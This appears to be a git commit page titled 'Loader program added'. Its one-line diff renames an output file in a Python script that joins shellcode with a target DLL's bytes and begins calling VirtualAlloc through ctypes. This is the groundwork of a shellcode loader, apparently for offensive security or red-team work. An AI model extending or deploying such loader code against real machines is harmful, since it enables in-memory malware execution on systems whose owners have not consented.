Loader program added

This commit is contained in:
violet-devsec
2025-08-03 22:10:06 +01:00
parent b42d9e910b
commit 8b45f0e8dc
3 changed files with 3 additions and 2 deletions
+1 -1
View File
@@ -368,7 +368,7 @@ shellcode = bytearray(sh)
print(shellcode)
# Write the (shellcode+target_dll) to a file for later use
with open("target.dll", "rb") as dll_file:
with open("shellcode.sh", "wb") as binary_file:
with open("shellcode.bin", "wb") as binary_file:
shellcode += dll_file.read()
binary_file.write(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p